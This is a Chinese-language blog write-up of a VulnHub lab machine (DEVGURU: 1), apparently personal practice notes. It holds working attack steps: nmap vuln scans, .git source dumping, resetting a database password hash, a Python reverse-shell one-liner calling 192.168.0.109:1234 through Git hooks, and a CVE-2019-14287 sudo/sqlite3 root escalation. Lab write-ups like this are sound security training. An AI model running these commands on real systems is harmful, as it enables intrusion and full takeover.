vulnhub 靶机练习(二)

XTTF 2021年02月15日 249次浏览

本次练习的靶机为DEVGURU: 1

首先探测主机IP信息,本次主机IP为192.168.0.102

nmap -sP 192.168.0/24

输入IP打开网站,点点看,同时对页脚的CMS等信息进行了漏洞搜索,结果没有发现任何问题

使用ffuf对目录进行爆破,这里使用的字典为SecLists/raft-large-words.txt,发现存在.htaccess,访问搜集到一个adminer.php的页面打开发现为数据库连接功能,对Adminer进行搜索,没有发现漏洞

同时发现存在.git和.gitignore等信息,可能存在代码泄露等漏洞问题,所以对这块进行测试

直接访问.git信息发现返回The requested page cannot be found.,对靶机渗透到这里发现没法进行下去,可能是一开始搜集的信息不够,首先使用nmap进行扫描

nmap -A -v --script vuln 192.168.0.102


修改hosts文件 vim etc/hosts然后sudo killall -HUP mDNSResponder
通过使用Githacker对.git搜集源码信息,拿到数据库账号信息


翻下数据库,发现了用户信息

密码使用bcrypt进行加密,原密码为下列因为无法破解得到明文,这里使用直接修改密码

$2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK

现在通过代码找到登录地址,首先全局搜索username,发现use Backend\Models\User;可能和登录信息有关,访问下


在刚才的数据库,把密码改成了xttf,登录下

在对后台进行测试的时候发现了cms标签,貌似可以添加代码,所以可以搞定一个shell,搜索文章https://www.codenong.com/cs105686499/在里面发现了这里怎么搞

成功拿到一个shell

通过测试发现存在python3,所以搞一个bash

python3 -c 'import pty;pty.spawn("/bin/bash")'

通过对文件夹的乱翻,发现了另一个数据库登录信息

登录成功,找到user表,继续修改密码xttf,使用nmap找到的url进行登录

这里真的卡住了,后来参考了youtube的大佬的视频,通过Git Hooks上传shell,然后进行git 提交,来获得一个反向shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.109",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

成功拿到第一个flag user.txt

然后使用sudo漏洞提权,这里使用的是CVE-2019-14287,下面是利用过程

sudo -l 执行,返回
sudo -l
Matching Defaults entries for frank on devguru:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User frank may run the following commands on devguru:
    (ALL, !root) NOPASSWD: /usr/bin/sqlite3

这里可以使用的是sqlite3进行利用,然后参考了sqlite3的文档,发现有一个功能dot-commands可以使用.shell执行命令

sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'


第二个flag